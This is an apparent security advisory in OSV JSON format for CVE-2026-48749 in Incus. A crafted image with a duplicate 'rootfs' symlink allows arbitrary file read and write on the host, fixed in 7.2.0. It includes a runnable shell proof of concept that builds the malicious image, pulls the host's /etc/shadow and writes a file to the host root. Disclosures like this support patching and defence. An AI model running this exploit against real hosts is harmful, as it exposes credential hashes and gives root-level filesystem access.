CVE-2026-48749: Github.com/lxc/incus/v7/cmd/incusd Incus Has An Arbitrary File Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2q3f-q5pq-g8wv",
  "modified" : "2026-06-26T18:31:21Z",
  "published" : "2026-06-26T18:31:21Z",
  "aliases" : [ "CVE-2026-48749" ],
  "summary" : "Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image",
  "details" : "### Summary\n\nA specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.\n\n\n### Details\n\nIncus validates an image as soon as it sees a normal `metadata.yaml` and a `rootfs/` entry, but full extraction can later process a duplicate top-level `rootfs` symlink. Later, the stopped-container file API opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to it.\n\n```\nmetadata.yaml\nrootfs/\nrootfs -> /\n```\n\nIn practice, this allows a malicious actor to access the host's filesystem with root privileges.\n\n\n### PoC\n\nBelow, we map the container's rootfs to `/` on the host, but it can be mapped anywhere. We then retrieve the host's `/etc/shadow` file and create a file in `/`.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n    rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/rootfs\"\ncat<<__EOF__>\"${tmpdir}/img/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n  description: PoC rootfs symlink host afrw\n__EOF__\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar\n\n# inject rootfs symlink\nrmdir rootfs\nln -s / rootfs\ntar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs\n\n\nincus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink\nincus init afrw-rootfs-symlink afrw-rootfs-symlink\n\n\n# read\nincus file pull afrw-rootfs-symlink/etc/shadow \"${tmpdir}/shadow\"\ncat \"${tmpdir}/shadow\"\n\n# write\nprintf 'afrw-rootfs-symlink\\n' >\"${tmpdir}/afrw-rootfs-symlink\"\nincus file push \"${tmpdir}/afrw-rootfs-symlink\" afrw-rootfs-symlink/\n```\n\n### Impact\n\nArbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lxc/incus/v7/cmd/incusd"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.2.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lxc/incus"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-73" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-26T18:31:21Z",
    "nvd_published_at" : null
  }
}